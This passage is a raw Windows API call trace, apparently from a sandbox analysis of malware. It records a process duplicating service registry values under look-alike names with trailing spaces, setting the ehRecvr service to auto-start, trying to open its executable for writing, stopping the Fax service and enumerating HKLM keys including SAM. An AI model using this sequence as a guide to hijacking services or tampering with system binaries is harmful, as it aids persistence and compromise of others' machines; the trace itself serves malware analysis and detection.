lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.138] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.138] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.139] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.139] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.139] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.139] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.139] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.139] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.139] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.139] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.139] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0260.139] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0260.139] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0260.140] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0260.140] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.140] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.140] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.140] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.140] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.140] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.140] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.140] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.140] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.140] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.140] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.140] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.141] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.141] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.141] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.141] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.141] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0260.141] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0260.141] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0260.141] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0260.141] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.141] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.141] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.141] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.142] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.142] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.142] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.226] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.226] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.226] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.226] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.226] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.227] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.227] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.227] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.227] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.227] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0260.227] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0260.227] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0260.227] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.227] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.227] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.228] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.228] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.228] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.228] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.228] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.228] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.228] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.228] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.228] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.228] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.228] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.228] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.229] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.229] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\ehome\\ehRecvr.exe", cbData=0x1d | out: lpData="C:\\Windows\\ehome\\ehRecvr.exe") returned 0x0 [0260.229] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\ehome\\ehRecvr.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\ehome\\ehRecvr.exe" [0260.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0260.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0260.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0260.229] LocalFree (hMem=0x7e4b18) returned 0x0 [0260.229] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\ehome\\ehRecvr.exe", cbData=0x1d | out: lpData="C:\\Windows\\ehome\\ehRecvr.exe") returned 0x0 [0260.229] OpenServiceW (hSCManager=0x803918, lpServiceName="ehRecvr", dwDesiredAccess=0x2) returned 0x803990 [0260.229] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0260.231] CloseServiceHandle (hSCObject=0x803990) returned 1 [0260.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0260.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0260.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0260.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3e8) returned 1 [0260.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0260.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.231] RegCloseKey (hKey=0xc4) returned 0x0 [0260.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0260.231] RegCloseKey (hKey=0x150) returned 0x0 [0260.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0260.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0260.231] GetFileAttributesExW (in: lpFileName="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2fd46aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2fd46aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa450000, ftLastWriteTime.dwHighDateTime=0x1cb890f, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0260.232] CreateFileW (lpFileName="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.232] GetLastError () returned 0x20 [0260.232] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0260.232] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0260.233] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0260.233] OpenServiceW (hSCManager=0x803918, lpServiceName="Fax", dwDesiredAccess=0x20) returned 0x8038a0 [0260.233] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0260.233] GetLastError () returned 0x425 [0260.233] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0260.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0260.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0260.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0260.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0260.234] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0260.234] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0260.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f16e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0260.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.234] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0260.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0260.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.234] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0260.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0260.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 